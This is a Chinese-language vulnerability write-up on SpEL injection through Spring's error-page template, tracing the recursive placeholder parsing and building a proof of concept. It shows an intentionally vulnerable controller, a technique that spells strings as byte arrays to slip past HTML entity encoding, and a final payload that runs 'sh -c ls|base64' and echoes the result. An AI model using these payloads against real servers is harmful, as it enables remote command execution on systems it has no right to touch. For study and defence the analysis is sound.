SpringFrameWork 1.2.0 SpEL注入

SpringFrameWork 1.2.0 SpEL注入

SpEL表达式

SpEL表达式是一种用表达式来进行求值运算,获取属性的表达式,类似于模版语言,我们可以通过下面3行代码实现一个SpEL表达式的解析:

SpelExpressionParser expressionParser = new SpelExpressionParser();
Expression expression = expressionParser.parseExpression("2*2");
System.out.println(expression.getValue());

而因为SpEL表达式的特性,它也被用在Spring框架的模版表达上,Spring在内部通过${xxx}来识别SpEL表达式

漏洞代码

@Controller
public class MyApplication {
    @RequestMapping("/")
    public String index(String payload){
        throw new IllegalStateException(payload);
    }
}
image.png

可以看到命令成功执行

漏洞分析

我们先输入一个错误的SpEL表达式,来看下调用栈


image.png

从名称上可以怀疑这个地方是漏洞的入口点

image.png

可以看到这里的this.template其实就是Spring错误页面的HTML模版

image.png

从中可以看到几个${timestamp}这样的表达式,这里也就是进行SpEL表达式解析的地方,很像模版字符串

继续进入replacePlaceholders函数,跟到parseStringValue方法

image.png

这里根据前缀${和后缀}这两个字符,从我们的HTML模版中一个个提取对应的模版字符串,并且将提取以后的字段加入到visitedPlaceholders中防止重复解析

第一个解析出来的是timestamp,并且在之后进行递归解析


image.png
image.png

在这里进行SpEL表达式的解析

image.png

this.parer就是SpelExpressionParser,然后获取对应的执行结果

接下来一步很重要,这个地方就是为什么我们的SpEL表达式都很长很长的原因

这个地方对获取的结果进行了html实体编码,我们先放着,等下再来看

我们直接到${message}的解析,可以看到$message解析之后就是我们的payload,但是这个地方并没有执行SpEL,因为返回的是个字符串,我们继续往下看

image.png

在判断解析之后的结果是否为空之后,如果不为空,继续下一轮的解析,其实大体的流程就是一定要将字符串中的所有SpEL表达式解析完全,只要有一个SpEL表达式都要递归解析完成,所以在这个地方,我们的输入就被当作了SpEL表达式的内容进入了解析过程

image.png

关于poc的构造

如果没有任何限制,我们构造一个命令执行的SpEL表达式应该是这样的:
new ProcessBuilder("ls").start()

但是这里有一个问题,我们来debug看一下

image.png

这里返回的是我们的payload,之后进行了实体编码

image.png

可以看到我们原本payload中的"被转义为了实体编码,这就导致我们的SpEL表达式报错了,导致无法执行,那么解决方法也很简单,我们可以构造不需要"等可以被实体编码的字符的payload,通过使用byte[]可以创建字符串

所以将"ls"转换为:

new String(new byte[]{108,115})就可以构造不需要引号的字符串,通过这种方法,我们就可以成功执行命令了

用SpEL回显命令执行结果

先回忆一下我们用ProcessBuilder执行完命令以后,需要获取InputStream然后将其读到一个byte数组中,然后将byte数组转换为字符串输出

但是在SpEL里面是不能定义变量的,比如你不能像这样:
xxx=new byte[];xxxx,所以将命令回显是个很麻烦的事情,但是我们可以借助BufferedInputStream的readLine函数来返回一行,并且将整个命令执行结果base64编码以后来整个输出执行的结果

这里java命令执行的时候,管道符和重定向符有坑,这里就不详细说了,构造过的都知道

最终的ls执行结果回显的payload

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{new String(new byte[]{0x73,0x68}),new String(new byte[]{0x2d,0x63}),new String(new byte[]{0x6c,0x73,0x7c,0x62,0x61,0x73,0x65,0x36,0x34})}).start().getInputStream())).readLine()

成功回显命令执行结果

image.png

你可能感兴趣的:(SpringFrameWork 1.2.0 SpEL注入)